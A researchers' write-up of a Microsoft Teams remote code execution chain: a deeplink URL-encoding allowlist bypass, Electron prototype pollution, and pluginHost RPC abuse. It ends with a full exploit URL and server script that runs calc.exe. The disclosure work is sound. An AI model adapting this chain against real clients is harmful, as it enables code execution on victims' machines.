Make the impossible possible

2022 Microsoft Teams RCE

Me (@adm1nkyj1) and jinmo123 of theori(@jinmo123) participated pwn2own 2022 vancouver but we failed because of time allocation issue

but our bug and the exploit was really cool so decided to share on blog!

Executive Summary

The deeplink handler for /l/task/:appId in Microsoft Teams can load an arbitrary url in webview/iframe. Attacker can leaverage this with teams RPC’s functionality to get code execution outside the sandbox.

1. URL allowlist bypass using url encoding

URL Route example

...
k(p.states.appDeepLinkTaskModule, {
    url: "l/task/:appId?url&height&width&title&fallbackURL&card&completionBotId"
}),
k(p.states.appSfbFreQuickStartVideo, {
    url: "sfbfrequickstartvideo"
}),
k(p.states.appDeepLinkMeetingCreate, {
    url: "l/meeting/new?meetingType&groupId&tenantId&deeplinkId&attendees&subject&content&startTime&endTime&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetails, {
    url: "l/meeting/:tenantId/:organizerId/:threadId/:messageId?deeplinkId&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetailsEventId, {
    url: "l/meeting/details?eventId&deeplinkId"
}),
k(p.states.appDeepLinkVirtualEventCreate, {
    url: "l/virtualevent/new?eventType"
}),
k(p.states.appDeepLinkVirtualEventDetails, {
    url: "l/virtualevent/:eventId"
}),
...

In Microsoft Teams, there is a url route handler for /l/task/:appId which accepts url as a parameter. This allows chat bot created by Teams applications to send a link to user, which should be in the url allowlist.

The allowlist is constructed from various fields of app definition:

    a = angular.isDefined(e.validDomains) ? _.clone(e.validDomains) : [];
return e.galleryTabs && a.push.apply(a, _.map(e.galleryTabs, function (e) {
    return i.getValidDomainFromUrl(e.configurationUrl)
})), e.staticTabs && a.push.apply(a, _.map(e.staticTabs, function (e) {
    return i.getValidDomainFromUrl(e.contentUrl)
})), e.connectors && a.push.apply(a, _.map(e.connectors, function (e) {
    return i.utilityService.parseUrl(e.configurationUrl).host

These domains are converted into regular expressions, and are used to validate the url:

… www.office.com www.github.com …


```js
...
t.prototype.isUrlInDomainList = function(e, t, n) {
    void 0 === n && (n = !1);
    for (var i = n ? e : this.parseUrl(e).href, s = 0; s < t.length; s++) {
        for (var a = "", r = t[s].split("."), o = 0; o < r.length; o++)
            a += (o > 0 ? "[.]" : "") + r[o].replace("*", "[^/^.]+");
        var c = new RegExp("^https://" + a + "((/|\\?).*)?$","i");
        if (e.match(c) || i.match(c))
            return !0
    }
    return !1
}
...

Regardless of the third parameter n, if the original url matches the given regular expression, this check is passed. After checking the url, instead, the parsed form (parseUrl) is passed to webview.

e.prototype.setContainerUrl = function(e) {
    var t = this;
    this.sdkWindowMessageHandler && (this.sdkWindowMessageHandler.destroy(),
    this.sdkWindowMessageHandler = null);
    var n = this.utilityService.parseUrl(e);
    this.$q.when(this.htmlSanitizer.sanitizeUrl(n.href, ["https"])).then(function(e) {
        t.frameSrc = e
    })
}

This is problematic because parseUrl of utilityService url-decodes the url; the check is done on the original, url-encoded url. Especially, when an allowlisted domain contains wildcard e.g. *.office.com, the generated regular expression is /^https://[^/^.]+[.]office[.]com((/|\?).*)?$/i. The wildcard becomes [^/^.]+, but if the given url is https://attacker.com%23.office.com, the check is passed. However, after decoding the url, this becomes https://attacker.com#.office.com, which loads attacker.com instead.

Microsoft Planner app (appId: 1ded03cb-ece5-4e7c-9f73-61c375528078) has a domain with wildcard in its validDomains field:

{
    "manifestVersion": "1.7",
    "version": "0.0.19",
    "categories": [
        "Microsoft",
        "Productivity",
        "ProjectManagement"
    ],
    "disabledScopes": [
        "PrivateChannel"
    ],
    "developerName": "Microsoft Corporation",
    "developerUrl": "https://tasks.office.com",
    "privacyUrl": "https://privacy.microsoft.com/privacystatement",
    "termsOfUseUrl": "https://www.microsoft.com/servicesagreement",
    "validDomains": [
        "tasks.teams.microsoft.com",
        "retailservices.teams.microsoft.com",
        "retailservices-ppe.teams.microsoft.com",
        "tasks.office.com",
        "*.office.com"
    ],
...
}

As a result, this bug allows the attacker to load an arbitrary location into a webview.

PoC:
https://teams.live.com/_#/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://attacker.com%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=1&fqdn=teams.live.com

2. pluginHost allows dangerous RPC calls from any webview

Since contextIsolation is not enabled on the webview, attacker can leverage prototype pollution to invoke arbitrary electron IPC calls to processes (see Appendix section).

Given this primitive, attacker can invoke 'calling:teams:ipc:initPluginHost' IPC call of main process, which gives the id of the pluginHost window.

pluginHost exposes dangerous RPC calls to any webview e.g. returning a member of ‘registered objects’, calling them, and importing some allowlisted modules.

lib/pluginhost/preload.js:

// n, o is controllable
P(c.remoteServerMemberGet, (e, t, n, o) => {
  const i = s.objectsRegistry.get(n);
  if (null == i)
    throw new Error(
      `Cannot get property '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => i[o]);
}),

// n, o, i is controllable
P(c.remoteServerMemberCall, (e, t, n, o, i) => {
  i = v(e, t, i);
  const r = s.objectsRegistry.get(n);
  if (null == r)
    throw new Error(
      `Cannot call function '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => r[o](...i));
}),

Attacker can get the constructor of any objects, and the constructor of the constructor (Function) to compile arbitrary JavaScript code, and call the compiled function.

[_,pluginHost]=ipc.sendSync('calling:teams:ipc:initPluginHost', []);
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{hey: 1}, 1, 'constructor', []], '')[0].id
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'alert()'}]], '')[0].id

require() is not exposed to the script itself, but the attacker-controlled script can overwrite prototype of String, which is useful in this code:

function loadSlimCore(slimcoreLibPath) {
let slimcore;
if (utility.isWebpackRuntime()) {
  const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
  slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
...
}
...
function requireEx(e, t) {
...
const { slimCoreLibPath: n, error: o } =
  electron_1.ipcRenderer.sendSync(
    constants.events.calling.getSlimCoreLibInfo
  );
if (o) throw new Error(o);
if (t === n) return loadSlimCore(n);
// n === 'slimcore'
throw new Error("Invalid module: " + t);
}

// y === requireEx
P(c.remoteServerRequire, (e, t, n) => A(e, t, () => y(e, n))),

If the attacker calls remoteServerRequire with 'slimcore' as an argument, the pluginHost evaluates string returned by String.prototype.replace. Therefore, the following code can invoke require with arbitrary arguments, and call methods in the module.

msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{hey: 1}, msg, []], '')
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{hey: 1}, 'slimcore'], '')

By using child_process module, attacker can execute any program.

Appendix A: Accessing any bundled modules when contextIsolation is not enabled between preload script and web pages

Electron compiles and executes a script named sandbox_bundle.js in every sandboxed frame, and it registers a handler that shows security warnings if user wants.

To enable the security warning, users can set ELECTRON_ENABLE_SECURITY_WARNINGS either in environment variables or window.

lib/renderer/security-warnings.ts#L43-L46:

  if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) ||
      (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
    shouldLog = true;
  }

This is called on ‘load’ event of the window:

export function securityWarnings (nodeIntegration: boolean) {
  const loadHandler = async function () {
    if (shouldLogSecurityWarnings()) {
      const webPreferences = await getWebPreferences();
      logSecurityWarnings(webPreferences, nodeIntegration);
    }
  };
  window.addEventListener('load', loadHandler, { once: true });
}

security-warnings.ts is also bundled to sandbox_bundle.js using webpack. There is an import of webFrame, which lazily loads the “./lib/renderer/api/web-frame.ts”.

import { webFrame } from 'electron';
...
const isUnsafeEvalEnabled = () => {
  return webFrame._isEvalAllowed();
};
// this is called by warnAboutInsecureCSP + logSecurityWarnings

This is done by electron.ts:

import { defineProperties } from '@electron/internal/common/define-properties';
import { moduleList } from '@electron/internal/sandboxed_renderer/api/module-list';

module.exports = {};

defineProperties(module.exports, moduleList);

In define-properties.ts, it defines getter for all modules in moduleList; loader is invoked when a module e.g. webFrame is accessed.

const handleESModule = (loader: ElectronInternal.ModuleLoader) => () => {
  const value = loader();
  if (value.__esModule && value.default) return value.default;
  return value;
};

// Attaches properties to |targetExports|.
export function defineProperties (targetExports: Object, moduleList: ElectronInternal.ModuleEntry[]) {
  const descriptors: PropertyDescriptorMap = {};
  for (const module of moduleList) {
    descriptors[module.name] = {
      enumerable: !module.private,
      get: handleESModule(module.loader)
    };
  }
  return Object.defineProperties(targetExports, descriptors);
}

The loader for webFrame is defined in the moduleList:

export const moduleList: ElectronInternal.ModuleEntry[] = [
  {
...
  {
    name: 'webFrame',
    loader: () => require('@electron/internal/renderer/api/web-frame')
  },

Which is compiled as:

}, {
    name: "webFrame",
    loader: ()=>r(/*! @electron/internal/renderer/api/web-frame */
    "./lib/renderer/api/web-frame.ts")
}, {

The function r above is __webpack_require__, which actually loads the module if not loaded yet.

function __webpack_require__(r) {
    if (t[r])
        return t[r].exports;

Here, t is the list of cached modules. If the module is not loaded by any code, t[r] is undefined. Also, t.__proto__ points Object.prototype, so attacker can install getter for the module path to get the whole list of cached modules.

const KEY = './lib/renderer/api/web-frame.ts';
let modules;
Object.prototype.__defineGetter__(KEY, function () {
    console.log(this);
    modules = this;
    delete Object.prototype[KEY];
    main();
})

This enables attacker to get the @electron/internal/renderer/api/ipc-renderer module to send any IPCs to any processes.

var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
[_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);

We utilized this to send IPC to pluginHost (see Section 2), and execute a program outside the sandbox.

Exploit

Client :
https://teams.live.com/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://0e1%252Ekr%5Ccd2c4753c4cb873c7be66e3ffdeae71f71ce33482e9921bab01dc3670a3b4f95%5C%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=&fqdn=teams.live.com

Server :

<script>
  const KEY = './lib/renderer/api/web-frame.ts';
  let modules;
  Object.prototype.__defineGetter__(KEY, function () {
    console.log(this);
    modules = this;
    delete Object.prototype[KEY];
    main();
  })

  window.ELECTRON_ENABLE_SECURITY_WARNINGS = true;

  function main() {
    var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
    [_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')[0]
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{ hey: 1 }, msg.id, 'constructor', []], '')[0]
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{ hey: 1 }, msg.id, 'constructor', [{ type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";' }]], '')[0]
    ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{ hey: 1 }, msg.id, []], '')
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')
  }
</script>